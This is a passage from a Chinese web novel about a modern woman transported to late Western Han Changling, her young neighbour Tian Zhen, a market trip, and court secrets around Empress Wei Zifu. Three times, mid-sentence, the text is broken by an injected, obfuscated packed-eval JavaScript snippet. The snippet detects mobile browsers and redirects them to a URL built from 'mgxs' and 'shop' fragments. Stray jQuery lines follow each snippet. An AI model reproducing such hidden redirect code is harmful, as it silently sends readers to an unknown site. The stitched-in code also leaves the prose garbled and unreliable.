被提起那要命的事儿,李无忧心头重重一跳,有气无力道,“反正不是好事儿。”那男人看自己的眼神就像是看一盘菜,像是看到了一个新奇的物件,奇货可居而已。再有,那男人又说什么跟着乐师学一学,什么惊艳四方,如此,还有什么不懂的呢,约么是让自己去当家伎。
西汉时期,贵族人家蓄养家伎蔚然成风。只因有两个成功案例在前。一个是汉武帝刘彻的皇后卫子夫,原本就是平阳侯府中的一名家伎,擅长讴歌。在一次招待汉武帝的宴会中,卫子夫被一眼看中,并且带回了宫中,直至封为皇后。
而汉武帝宠幸的另一个女人李夫人,也是倡家出身,全家都是专业的歌舞伎艺人。这位李夫人在死后也被追封了皇后。
总之,在汉武朝蓄养家伎是件高回报的事儿,保不齐就又出了个皇后、宠妃呢?但李无忧确定自己不会是下一个。
虽然是穿越者,但李无忧不觉得自己有什么主角光环——连小小的李家都没能搞定,每天苦哈哈织布,还去皇宫主宰沉浮?这不是找死么。
世人只看到卫皇后、李夫人的传奇,却不见在二人身后的尸山血海——家伎,说白了就是没有人身自由的家内奴隶,是主人财富和权势的一部分,和猫猫狗狗、杯子碗筷没什么区别。历史书上就有记载,主人让家伎给客人劝酒,客人不喝,主人就把家伎给杀了。
千千万万个可怜女子里,也就出了个卫子夫、赵飞燕、李夫人,其他人呢?她们的结局或成为主人侍妾,或当作礼物送人,或遭大妇凌虐而死,或流落江湖以终。
所以,技惊四座是什么好词儿不成?
田贞见李无忧只拧眉沉思,不回答自己,便追问,“为什么不是好事儿?无忧姐姐你不是一直想要离开长陵邑吗?”
“因为我是胆小鬼!”李无忧没好气回道。她想要去长安,可也害怕其背后的风险。她没法哄自己:说不得我就是下一个卫子夫呢?一想到要被当成一盘菜端上桌,她就只想逃。
“啊!!!”李无忧崩溃大喊,“原来我根本做不到!”小说里女主左右逢源、逆风翻盘、迎难而上,这些自己通通做不到。
一直以来,李无忧都埋怨贼老天给了自己一副烂牌,如今才知,做一个平安的普通人度过普通的一生就已经是极其难得的事儿了。
“那你不去长安了?”田贞听得糊里糊涂的,“改变主意了?不离开长陵邑?”
“当然不是!”李无忧想也不想地反驳。害怕去长安,不代表就要留在长陵邑——留在长陵邑,等待自己的就是十五岁嫁人。
“那你到底要怎么啊?”
“我也不知道。”李无忧茫然,“总之,眼下不能和那个男人去长安。”要是那人派人来索要自己,自己就装病装死——李无忧打定主意。
“那太好了!”田贞高兴地跳起来,“那男的可真丑,无忧姐姐千万不要跟他走。”
“啊?丑?”李无忧愣住,她太过害怕,都没敢直视那人,也没看清长相。
“对啊,不好看的。”田贞嫌弃道,“头大大的,脸扁扁的,和我们长得不一样呢。”
田贞的话犹如一道闪电劈中李无忧,先时忽略的细节浮上脑海:那男人不是汉人长相!正如田贞所言,那男人头大脸扁,眼睛细长,上眼皮耷拉半盖住下眼睑——分明是草原游牧民族的长相。
“匈奴人?!”李无忧脱口而出。
“什么匈奴人?”田贞不懂。
“敌人!”眼下可不是民族大融合,相亲相爱是一家。汉武帝在位五十四年,和匈奴打了四十四年!
“不对不对。”李无忧随即否定了自己的想法。这儿可是高祖长陵,刘邦的墓地,怎么可能会有匈奴人呢?而且长陵邑离长安很近的,相当于长安的卫星城市,两者之间还有驰道相连,相当于通了高速公路,快马加鞭一个小时就到了。
所以,在长陵怎么可能有匈奴人呢!
李无忧想不明白。
“那怎么办?”田贞觉得情况有些严重。
“我也不知道。”李无忧的脑子完全混沌了,摇头道,“算了算了,这里头就算有事儿,也不是我们能管的。”
两人一路边走边说,不知不觉已经到了家门口。
李无忧弯下腰,双手扶着田贞的眼睛,严肃叮嘱,“总之,今天的事儿,谁也不能说!”
“好.....”田贞有些被李无忧严肃的样子骇住了。
“那快回家吧!”
田贞被李无忧推回家,一头雾水,反复琢磨着下午发生的一切,得出一个结论:无忧姐姐懂得真多!比阿母还想个大人,真厉害啊。
正想着,外头声音嘈杂起来,是外出采买的人们回来了,田母亦在其中。
“阿母,你买了好多东西啊。”田母两手拿满了东西,田贞上前帮忙,好奇问,“都买了什么啊?”
“米盐油。”田母放下最重的布口袋,长长舒了口气。官邑的人家没有田地,什么都靠去买,三个月严控,买东西麻烦,可不得一下多买些么。
“那这些呢?”田贞去翻另一个麻布口袋。
“是药材。”田母道,“有备无患。”看田贞半个身子都钻进布袋的模样,田母笑了,只觉一身疲惫全消。
“你拿出来看看,有没有你认识的。”
“我看看啊。”田贞将一袋子药材全都倒出,仔细辨认起来。
“这个是......???”田贞捧着一捧干草叶,摸摸嗅嗅,辨认不出来,“这啥啊?”和林子里的枯叶没啥差别。
“是紫苏叶。”难得看女儿吃瘪,田母笑答。
“啊?!”田贞再仔细看,发现手里的枯叶的确有点不同,确实泛着幽幽的紫。
田贞学过紫苏叶,胖圆形的叶子,边缘有锯齿,叶子一面是绿色,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357353|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面是深紫色。可以当菜吃,也可以当药,夏天贪凉,头晕畏寒啥的,就可以用紫苏叶泡水喝,解体表湿寒。
“这和阿母你画的图一点也不一样啊!”田贞可不觉得是自己学的有问题,分明是阿母教的不对。
“画和实物自然是有些不一样的。”田母趁机教导田贞,“所以不能死读书,还要联合实际。”
“我懂!”田贞现学现用,“就是知行合一嘛!”无忧姐姐今天刚刚教过自己。
“嗯?”田母眼睛一亮,“就是这个意思,你怎么知道的。”自己可没教过。
“啊.....”想起要保密的事儿,田贞舌头打结,“我....啊.....哦.....”机智如田贞,脑子也成了一团浆糊。
“对了!我在林子也见过紫苏叶呢!”田贞强行转换话题,“早知道我采点回来了,就不用花钱买啦!”
“林子里能有多少,不够用的。”田母果然被转移了注意力,抬眼看天色不早,便嘱咐田贞将药草搬去仓房,分类放好。
“明白!”田贞如蒙大赦,积极干活,拖着一大袋药草去了仓房。
田贞一边分捡归纳药材,一边回忆阿母之前教过的草药知识,发现这些草药自己十之七八都不认得。
“这不是白学了么!”田贞苦了脸,“阿母教我的时候就该拿出对应的药材,一边认一边教才是。”
“光是死记住了有啥用啊。”田贞叹气。
当分拣到紫苏草的时候,田贞脑中灵光一闪,冒出个主意来。
阿母花钱去买紫苏草。无忧姐姐钓鱼去还钱。林子就有紫苏草。
如此,无忧姐姐完全可以采了林子里的紫苏草去还钱啊!
“我可真聪明!”田贞眼睛雪亮——鱼又不是每天都能钓得到,但是林子里遍地都是各种各样的草啊!
“我要去告诉无忧姐姐这个好消息!”这般想着,田贞手里速度加快,可是等干完活儿,已经是晚膳时间了。
“东西都买齐全了?”到了饭点,田老太准时唠嗑回来,一边将手里的田小弟放地上,让他自己玩儿,一边询问田母今日的采买情况。
“都买了。”田母将所购之物一一列举。
听完,田老太皱眉,“没有买线?”
“今天要买的东西实在太多了,搬不回来。”田母解释。
田老太怒了,“没买线,你过两个月拿什么织布?!”
寻常百姓家有专门种麻的田地,自己收麻、纺线、织布,便是封禁也能自给自足。但是住在长陵官邑的人家是没有田的,倘若家里需要用布,要么是去市场买现成的布匹,要么是买线回来自己织。
像田家、李家都是买线回来自己织,织出的布除了供家人穿用,还可以拿去集市上卖了,也可以用来抵朝廷的纳税。
“你莫不是想在家甩两月膀子,啥活儿也不干,真以为自己是官太太了?”田老太揪住田母的错漏之处喋喋不休,便是田母说明日再去一趟南市,田老太还是不依不饶。
“你明天还要出门?我今日带了一天的娃儿,腰都直不起来了!你明日还要出门把这个家丢给我这个老太不成?”
无论田母提出什么样的解决方案,田老太总能挑出不好来。田贞听着火大,忍不住大喊,“这又不是阿母一个人的家,凭什么.....”后面的话还没出口,被田母一巴掌捂了回去。
“你看你教的好孩子!”又抓住一个把柄,田老太战斗力十足。
这一刻,田贞忽得升起一股念头:离开长陵邑,和无忧姐姐一起走!
13.第 13 章
第十二章
“又生气了?”入睡前,田母看着背对着自己的女儿,凑上前,果然看到一个鸭子嘴。
田贞嘴巴撅得能挂油瓶。原本,一整日没有见着阿母,田贞有不少话想和阿母说的。说说今日的功课完成,问问市集上是个什么样子,谈谈三个月不能出门走动在家做点什么好。
结果呢。被奶奶一顿输出,什么心情都没有了。
“咱们要一直这样吗?”田贞看向阿母,“我不喜欢这样。”
“家人是这样的吗?”不等田母回答,田贞自己已经有答案了,“家人不该是这样,家人不会让家人难过伤心。”
“你啊.....”看着敏感早慧的女儿,田母无奈,只能道,“你还小,不用管大人的事情,管好自己就成。而且,阿母不是保证了吗,不会一直这样的,以后会好的。”
“算了。就这样吧。”田贞也不想旧事重提,自己和阿母吵来吵去又有什么用呢,什么都改变不了,反倒伤了感情。
“明天还去集市,你去不去?”田母点点女儿的噘嘴,“可热闹了,去看看吧,还好多人,心情会好的。”
“那行。”田贞想到“读万卷书不如行万里路”点头同意了,又道,“明天我可以去帮阿母拿东西。”
“你啊....”感受到女儿内心的柔软,田母躺下,将小孩儿搂进怀里,轻声道,“早点睡吧,明天早点起。”
第二天是个大晴天,还没过辰时,太阳就开始发威了,热气从地里返上来,烫得人站不住脚。
“要不你还是在家里吧。”田母眯眼看着高悬的烈日,改了主意。这么热的天出门可不是个轻松的事,更不要说小孩儿了,要是中暑了可就遭罪了。
“没事儿。”田贞决定的事情很少会改,“我不怕热,多带点水就是了。”
“行。”田母换上草鞋,将自己的斗笠戴到田贞的头上,带上一葫芦水,母女二人便出门了。
“啊哈!”田贞带着阿母的斗笠,活似个大蘑菇,大大的伞盖,短短的柄子。田贞稀奇极了,不停晃来晃去和自己的影子玩。
田母也不催,就笑着站在一旁看着田贞,直到田贞玩儿够了,上前牵起阿母的手,开心道,“咱们出发吧!”
夏日白天赶路着实遭罪。夯土路面被太阳一晒,热气从脚底往上蒸,走在路上就像是走在烤肉的铁板上。偶尔迎面来一阵风,也是火热热的,其中还裹挟着尘土黄沙,直往人鼻子嘴巴里钻。
“呸呸呸!”田贞努力吐掉嘴巴里的沙子。
“喝口水,润一下。”田母拔开葫芦塞子,喂田贞喝水,“小口喝,在嘴巴里咕噜一下吐掉。”
清凉的水入口,田贞才好受了些。
“要不还是送你回去吧。”田母舍不得小孩儿吃苦,“等秋天不热了,我再带你去赶集。”田母懊悔自己的决定,没有考虑到天气就把小孩儿带出来了。
“不要!”田贞摇头,紧紧扒拉住田母的胳膊,“我一定都不觉得累!我觉得很开心呢!”
“小傻蛋。”田母点点女儿软软的小鼻头,两人手牵着手继续赶路。
“我是真的开心!”田贞一蹦一跳,“这儿就只有我和阿母。”没有那些烦人的家伙,如此,太阳再晒又如何,赶路再累又如何。
“要是能一直这样就好了。”田贞甜滋滋地想着,脑子里忽得冒出一个念头:要是就这么走了再也不回去就好了!
“阿母!”
“嗯?”田母看向突然严肃的女儿,不明所以。
“咱们走吧,不回去了。”
“什么?”田母愣住,一时没有反应过来。
“我说,咱们就这么走吧。”田贞说得认真,“就只有我们两个人,阿母不会说我不好,我也不会嫌弃阿母这儿那儿的,我们两个生活在一起,每天都快快乐乐!”
说罢,田贞期待地看着阿母,她简直难以想象,只有自己和阿母的生活会多么的美好。没有阴阳怪气,没有指桑骂槐,没有鸡蛋里挑骨头,一切都是和和美美的模样。
见阿母还没有回答自己,田贞进一步勾画美好的未来生活,“咱们可以找个有山有河的地方住,有河就可以摸虾钓鱼,有山可以打猎,掏鸟蛋,采草药,家里再养些鸡鸭鹅。”
“阿母你还会看病用药,可以当个大夫,受人尊敬。”
“又或者当个夫子,靠着收束脩就能过得美滋滋。”
“阿母,咱们走吧!”田贞越想越觉得自己主意可行。
“你这孩子,说什么傻话呢。”田母只当是孩子话,“没有官府签发的传,咱们连官邑都出不去。”
“不能爬墙吗?”田贞觉得问题不大。
“翻墙之后呢?没有身份印鉴和传,咱们可就进不来任何一座城池了。”田母向田贞解释什么是身份印鉴,什么是传。
身份印鉴相当于身份证,上头详细记载着持有人的姓名、籍贯、年龄、身高、肤色等等身份信息。“传”则是通行证,上头写明要去哪里、干什么去、携带什么货物以及证件的有效日期。
“谁都能想去哪儿,就去哪儿,那国家不得乱套了。”
“啊?”田贞卡壳,没想到在自己不知道的地方有这么多复杂的规矩,然而,她自来是个不轻易放弃的,脑袋瓜一转,又想出个主意,“不进城就不进城呗,咱们就住山里。”
“住山里当野人吗?”田母没把小孩儿的话当回事,结束了这个话题,“快别说话了,说多了嘴干。”
田贞却没那么容易放弃,接下来她蒙头走路,脑子却一直想着“出逃计划”。
南市离官邑不算太远,母女二人走了小半个时辰便到了。
正如田母所言,集市的入口处有查验身份的小吏,每个进入集市的人都必须出示两根竹简,一根上头记载着身份详情,一根上头是本乡乡啬夫开具的出行传。
田贞头一回进南市,活像鱼进大海,哪哪儿都新鲜,哪哪儿都懵。
“酸浆~~甜浆~~~先尝后买~~~”那人一手拿碗,一手拿筷,筷子敲完,叮叮当当,嘴巴还吆喝不停。
“鸡苗、鸭苗,看一看嘞!包活包活!”这是个卖小鸡小鸭的。
“祖传看相,不问便知姓名。”这是算命先生。
“现杀的猪!现杀的猪!冒着热气,新鲜哩!”这是卖肉的屠夫。
集市热闹极了,田贞从来没见过这样多的人。
“不能乱跑,有拐子的。”田母紧紧拉着田贞的手,怕小孩儿被人挤丢了。又见小孩儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360796|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛一错不错地盯着大小摊子,便将田贞往卖水摊子上带。
“走了一路了,先歇歇脚,喝点东西,再去买丝线。”田母领着田贞在卖水的摊子边坐下。
“客官,来点什么?”店家大声招呼着。
“都有什么?”田母推推田贞,让她自己上前去看去选。
“品种多着呢!”店家口条利索,“米汤,三钱;蜜水,十钱;梅浆,十五钱。”
“蜜水是什么,梅浆是什么?”田贞从没听过。
“蜜水放了蜂蜜,甜滋滋的;梅浆有蜂蜜有梅子汁,酸酸甜甜最解暑。”店家细细解释,“您要是来一碗梅浆,咱们白送一碗水。”
田贞想了想,回看田母,征询道,“阿母你是呢?”
“你想喝什么就点什么。”既然带孩子出来了,就不省那个钱了。
“那就梅浆!”
“好嘞~~~梅浆一碗~~~”
田贞只见店家打了一碗水,水里放了一勺亮晶晶、黏糊糊的金色液体,又拍了两个青果子丢水里。
“客人您慢用!”
田贞凑到碗边轻轻吸了一口,眼睛顿时一亮,“好喝!甜滋滋的还带着一股香。”
“阿母你也喝!”
母女二人共喝一碗,等梅浆快见底的时候,田贞不肯喝了。
“把剩下的水和梅子丢葫芦里,再加点水,咱们还能喝一天。”田贞为自己的绝妙主意而得意。
“小姑娘真聪明。”店家接过葫芦,装满水,又丢了一个梅子进去,冲田贞道,“保你一下午清凉爽快。”
喝了甜水,又歇息一会儿,田母才带田贞去办今日的正事儿,采买丝线。
“阿母,那个布怎么在发光。”在卖丝线的铺子里,田贞见着了一种从未见过的布料,像雪又比雪柔,像花又比花有光泽,像天上的星星,又比星星柔软。
“好像月光啊。”田贞终于找到适合的形容词。
“这是丝绸,和麻布不一样。”田贞看着女儿看傻眼的模样,心里一酸。
“哦。只有贵人才可以穿是不是?”田贞想起昨天在林子遇见的那个男人,就穿着这种月光衣裳,无忧姐姐说那个贵人,不能冒犯得罪。
“嗯。”田母轻轻应了一声,转头和店家谈起麻线的买卖,末了问了句,“店里有蚕蛹吗?”直接买丝绸或者丝线不合适,田母便想着买几个蚕蛹回去自己抽丝纺线,给小孩儿织一根发带,用枇杷叶染成水红色,绝对好看。
店小二摇头,“咱店里都是收的成品丝,您想要的蚕蛹,我帮您留意着些?”
“如此多谢了。”田母付了钱,买好了线,问田贞,“还有什么想去的地方吗?咱们再逛一逛就要回去了。”
“没有。”田贞垫起脚去够田母背上的包裹,“阿母,我帮你背点线吧。”
“阿母背的动。”
回程路上,田贞一声不吭,和来时一路叽叽喳喳判若两人。
“累了?”田母问,“走的动吗?”
“不累!”田贞摇头。
“那怎么不说话?”田母时刻关注着女儿的情况。
“我想事情呢。”田贞嘟嘴,小声道,“我觉得还是不要当野人了。”当野人可就进不了集市啦!
14.第 14 章
第十四章
“集市上可热闹了,卖什么的都有。”从集市上回来,田贞对李无忧更加佩服了,“无忧姐姐你说得果然没错,读万卷书不如行万里路。”
去了一趟集市,田贞觉得自己长了不少见识,“先前我还觉得钱有啥用,现在晓得了,钱有大大的用!出了家门,钱财开路。”而无忧姐姐竟然很早很早就开始搞钱了,这叫什么....
田贞搜索知识库,找到了个合适的词儿,“这就是未雨绸缪!”
小孩儿喋喋不休,李无忧是一个字儿没有进耳。那日在林子里遇见的陌生男子就好像是悬在头顶的达摩克利斯之剑,不知什么时候会落下要了自己的性命。
这几日李无忧夜夜噩梦。在梦里,她沦为玩物,那些看不清面目的男人们犹如鬣狗,追捕、扑杀、撕咬、分食着自己。那种无法挣脱的绝望,令李无忧此时回忆起都激得一身冷汗。
“无忧姐姐?”田贞发现对方在走神,脸色也惨白的,连忙问,“姐姐?你怎么了?”
“没什么。”李无忧只恨不得田贞将那日的事情忘得精光,自然不想再提起,只道,“可能是坐久了,有些晕。”说罢她丢下手里的活儿,起身走到院子里,抬眼看向明亮的天空。在汉朝得了近视眼可没地方配眼镜,自己的眼睛自己宝贝。
火热的阳光照在身上,毛孔舒张,大汗淋漓,好似身体里藏着的阴邪被逼出了体外,李无忧这才觉得舒坦了些。
“好些了吗?”田贞看着李无忧晒得红扑扑的脸,发现她眉头舒展了不少。
李无忧微微点头,问,“你刚才说什么来着。”
“我说,钱是个好东西啊!”田贞高举双手,大喊,“我也要赚多多的钱!”
说着,田贞将自己的赚钱计划细细道来,“除了卖鱼,我们还可以卖草药,林子里有不少草药呢,像是车前草、紫苏草什么的,可以摘了晒干了去卖。”
“可是林子里的草药生长得分散,摘取不容易,数量也有限。”李无忧没有否定田贞的赚钱大计,反倒帮忙一起周全计划。
“田贞脑子转得很快,”那我们可以种专门种草药。”
“好像没那么容易.....”李无忧没学过汉朝的相关律法,但是她记得古代各行各业都是有规矩的,“药铺、医馆可不是想开就开的,应该有行业准入什么的,你要搞药材生意估计需要什么手续的。”
“那咱们卖甜水吧!”田贞又换了个行当,她将自己在市集上喝梅浆的经历道来,“一碗水,一勺蜂蜜,两颗酸果子就要十五钱!林子里酸果子多着去了!”在田贞眼里,小树林就是个取之不尽用之不竭的宝库,自己做什么生意都是无本买卖。
“那不成。”李无忧一口否决,“那就成经商了,会被改成市籍的。”
市籍就是商籍,在古代,“士农工商”,商人地位最低!汉朝尤其。汉武帝在位期间,商人那是水生火热啊。打仗没钱怎么办,让商人交税。商人偷税漏税怎么办?相互举报,一经查实没收财产,戍边一年。而告发者则被奖励被告者一半的财产。
总之,如今的商人很惨很惨!
“我们要赚钱,但不能落到市籍。”不知不觉中,李无忧已经把田贞当做“我们”了。
“啊?”田贞听得似懂非懂,问,“为什么商人地位低啊?”
李无忧没有特别研究过,只大约知晓些皮毛,“你想啊,有钱又有权,那不得翻天了,谁还听皇帝的话啊。”
田贞听不懂,只关心自己的赚钱大计,便问,“那咱们要怎么才能赚大钱,又不变成市籍呢?”
李无忧想了好一会儿,看向小屁孩,“你之前不是要当大官的吗?怎么又想赚钱了?”孩子的心真是六月的天,说变就变。
“等你当上大官了,自然就有钱了。”李无忧敷衍道。
“可是一时半会儿也当不了大官,我还是先赚钱吧。”田贞可不好忽悠。
李无忧心想,你哪里需要赚钱哦,你发达的日子马上就来了,丞相孙女哪里要为钱财发愁。
这般想着,李无忧眉头一跳,话说起来,那一天是不是快了......
“今年是哪一年来着?”李无忧只记得汉武末年的政治大地震是公元前91年,那一年,长安血雨,无数人倒下,又有无数人站起来。田贞的爷爷田千秋就是站起来的其中一员。
可眼下,又不是公历纪年,李无忧难以定位具体的历史事件锚点。
田贞:“今年是征和二年啊,去年刚改的年号,你忘啦。”
李无忧无奈,“我当然知道是征和二年。”可是,征和二年是哪一年哦——汉武帝在位54年,拥有中国历史上最多的年号,约莫好像有十几个。
“不过,那一天应该不晚了。”李无忧摸摸田贞的脑门,“小子,你好日子要来喽!”
“无忧姐姐也会看相?”李无忧想起在集市上的见闻,“那个看相的,不用问就能算到人的名字。”
“那是骗人的。”李无忧暗道,这算命先生的套路是两千年都没变过啊。随即李无忧想起个要命的事儿,神情一下自己严肃起来,叮嘱田贞,“在外头可别随意谈论什么算命的、看相的、占卜的。”说完补充,“是绝对不能谈论。”
“啊?为什么啊?”田贞不解。和无忧姐姐在一起自己就想过什么都不懂的傻瓜,但是田贞不讨厌这样的感觉——知不足尔后能改,然后能自强也。
因为这是在汉武朝末年啊!一个谈“巫”色变的历史时间段。汉武帝自己年纪大了,身体不如从前,不是头疼就是脑热,但是他不觉得是自己老了的缘故,他认为一定是有人在害他!怎么害的?诅咒!巫术!
做皇帝的,一言一行都会被人无限放大着研究。汉武帝这种心理为人所利用,最终酿成了武帝末年的政治大地震:“巫蛊之祸”——太子被构陷,临死反抗,长安血战。最后,太子出逃自缢,皇后卫子夫以死明志,而多少人被卷入其中而丧命,那只能说是不计其数了。
“总之,不能说!”李无忧摆出个张牙舞爪的模样,企图吓唬田贞,“不然就会有大坏蛋把你抓走吃掉!”
田贞不仅没被吓到,还被逗得咯咯笑。
“严肃!严肃!一定要牢记!”李无忧担心这小孩儿去长安后还嘴上没门,沉声道,“你要知道,不仅仅是刀剑能够杀人,有时候,一句话也能!”
“知道了!”见对方如此在意,田贞也收了笑意,认真保证自己以后绝不会提什么看相算命的话题。
“无忧姐姐你懂的真多。”田贞星星眼,“你怎么知道这么多东西的呢?”
李无忧:“我比你年纪大,自然知道的比你多。”
骗人!田贞可不好忽悠,她大声反驳道,“谁说年纪越大懂越多,明明是年纪越大越糊涂。”说着将自己先前观察得到的结论细细道来。
“我奶奶......”
“我小姑.....”
“还有你阿母.....”
“啊哈哈!”李无忧听着小孩儿蛐蛐长辈,笑道前仰后倒,“你可真有一双善于观察的眼睛!”
“那是!”田贞得意。
戒严的日子对官邑的大人和小孩儿们而言都是一场煎熬。
比如田家。以往,田老太用过朝食就出门溜达去了,一直到晚膳时间才回来。可现在朝廷戒严,想出门溜达都是难事儿,田老太被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364539|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
困家中,脾气越发不好。从早到晚,将家中的鸡鸭猫狗人全都找了一遍茬。
而田贞,因着奶奶一整日都在家里,不仅连练功都要偷偷摸摸,还要时不时被找茬挨骂,那日子真正是水生火热。
李无忧日子也不好过。李母像是突然反应过来,自家闺女十三岁了,没两年就要十五岁,就是朝廷法定的结婚年龄了。可!结婚对象还没着落,结婚的嫁妆也没着落!
“真是个赔钱货!”李母肉疼不已。一方面,她舍不得把李无忧给嫁出去,那得多大的损失啊!一旦嫁人,家里的活计谁做?家里的布谁来织?老二的学费谁来交?最重要的是,嫁妆可是好大一笔钱财!
可是,不嫁人那是不可能的,朝廷不允许。女子一旦过了十五岁还不嫁人就要缴五倍的人头税!想到铜钱如流水一样哗啦啦没了,李母两眼一黑,心里挖着疼。
意识到自己在两年之内将有一大笔损失,李母心情如何能好,看李无忧这个罪魁祸首自然是哪里都不顺眼。
在如此的水生火热之中,田贞和李无忧反而建立起了革命般的友谊。她们发现,当对方来家里做客的时候,家里的“大魔王”就会收敛很多——家丑不可外扬啊!
“哎。哎。哎。”李母在家里唉声叹气,“这样日子要怎么办啊。”
李无忧见势不对,拿起还没做好的鞋面,起身往外走,口中道,“我去隔壁请教下田婶,我看她做鞋子的手艺好像有点不一样,看着更好看呢。”
“她自是有本事的。”李母点头,同意李无忧出门,又嘟囔一句,“你学她的本事可以,可别学她见着男人就走不着道。”
本是无心一句,李母却担忧起来,她喊住已经一脚跨出门槛的李无忧,“别去了!做个鞋面而已,能有什么门道。”女大不中留,万一女儿和那不要脸的婆娘接触多了,把缠男人的那套也学去了,可就完了。
“啊?”李无忧面色懵懂无知,耳朵却悄悄竖了起来——有秘密!
李无忧不傻,而田贞再精明也不过才七岁。接触时间长了后,李无忧只要不是个瞎子都能瞧出田贞的不对头来——这小孩儿懂得东西过分多了!
可别说是田父教的,官邑的男人们一年到头有几日在家的,哪有闲功夫教小孩儿?如此,田贞又识字又认得草药,还略通药理,其知识的来源只能是田母——总不能是田老太吧,总不能也是穿越的吧。
“啊什么啊。”李母不耐烦,强硬道,“反正你以后少去隔壁!”
李无忧退回门内,顺道把院门给关上,凑到李母身边,难得撒娇道,“阿母你就说说嘛。”
“你姑娘家的问这些,要不要脸啊!”李母嘴上呵斥,心里却痒痒的,憋着一肚子八卦没地方说的感觉太糟糕了——田母身份特殊,官邑人家彼此心知肚明,但都只憋在肚子里,平时从不拿出来八卦。
“你过来。”李母招李无忧上前,开口先是叮嘱,“我告诉你,你可谁都不能说。”
“嗯嗯。”李无忧重重点头。
“田家那个,从宫里来的。”
“啊?!”这是李无忧万万没有想到的——小小官邑还藏龙卧虎不成。
“哎呀,不是宫里的贵人,一个婢女罢了。”李母一副瞧不起人的模样,“前几年八月大祭的时候,她随宫里娘娘同行的,一眼看中了当值的田家老大。啧啧,真是不要脸呢。”
“不过田家老大那是真的俊,那脸蛋,那身板,啧啧。”谁会不喜欢俊郎君啊。可惜被外来的狐狸给叼走了。
“娘娘?那个娘娘?”
“当然是皇后娘娘了,八月大祭也不能带旁的美人来吧。”
皇后?那就是卫子夫了?!
15.第 15 章
第十五章
田贞的妈妈曾经是卫子夫身边的侍女?和田贞她爸一见钟情,嫁入了长陵官邑?!
李无忧觉得信息量太大,脑子晕乎乎的——电视剧情就在自家隔壁上演?所以自己坐实NPC?
“我跟你说啊,以后少去隔壁田家,更不要和那婆娘接触。”李母还在喋喋不休,“脑子有毛病呢,好好的贵人不当,看到个俊俏郎君就昏了头。”李母嘴上瞧不起田母婢女出生,可心里门清:是做皇后娘娘的婢女,还是做小吏之妻,很难选吗?是穿金戴银,还是粗布麻衣,这很难选吗?
“哎呦,她刚嫁来那会儿,我以为是天上的仙女下凡来了。”李母回忆过往,唏嘘不已,“那皮肤嫩得像是三月的桃花,白粉粉的,还有那头发,哎呦,啧啧,可了不得呢。”
“现在呢。”李母两张一摊,“大梦,凤凰成草鸡喽。”
蛐蛐了一大推,李母通体舒畅,给李无忧总结道,“咱们当女人的可不能糊涂,一次糊涂,一辈子就完喽!”幸灾乐祸溢于言表。
李无忧还傻愣没回神,脑中无数个念头闪过:卫皇后、婢女、太子刘据身死、田千秋谏言升官——田千秋谏的什么言,他就是在汉武帝逼死太子刘据后,在汉武帝面前说了两句刘据的好话,说到了汉武帝这个“渣爹”的心口上,从此官运亨通,从末流小吏一跃成为一国丞相!
那么问题来了,在太子党全灭,卫皇后身死,长安血流成河,人人自危之际。田千秋为什么要做这个出头的椽子去惹汉武帝那个大魔头,不怕被拉出去砍头给前太子陪葬吗?他一个个小小高寝郎,操心这些国家大事做甚?
除非,田千秋有不得不这样做的理由。比如说,媳妇是皇后党——要么冒险搏个大的,要么一辈子全家翻不了身。
如此,一切就都说得通了。
李无忧觉得自己窥探到了历史长河中的隐秘一角。
“那....田家是有什么来头吗?”李无忧问自家母亲。
“能有什么来头。”李母不屑地切了一声,“齐地田氏,那不知道是几百年前的事儿喽。”田家原本是六国贵族,但六国为秦所灭,秦也早没了,老刘家当皇帝都好多年了。如此,齐地田氏算个什么东西哦。
“就算还有点家底,但那也是主枝的,和田老头有什么关系。”田家主枝可不会来做小小高寝郎。
如此,田千秋谏言应当也与田家无关,并不是田家在后面出谋划策。想到这儿,李无忧又想起一个事儿来:田千秋发达后改姓了,改为“车”,又称车千秋。倘若他和齐地田氏牵扯很多,肯定不会改姓了吧。
正想着,外头传来“咚咚”敲门声,不等李家母女二人应声,门“咯吱”一下开了缝,一个小脑袋钻了出来。
“李婶婶!好!无忧姐姐好!”正是田贞过来窜门了。
“啊....是田丫头啊。”李母才蛐蛐了人家家事儿,这会儿看到田贞便有几份不自在。
田贞不是空手来的,她手里捧着个大陶罐,笑嘻嘻道,“做了甜水,送来给大家尝尝。”
“加了甘草,可甜可甜了。”田贞一边说一边将陶罐递给李无忧,得意道,“我本来想做上回在市集上喝过的梅浆,可是又没有蜂蜜。然后我阿母说可以放甘草。”
“只要几片,一大罐水都甜滋滋的。”田贞比划着手指,“而且我阿母说,甘草可是个好东西,能润肺清热。”
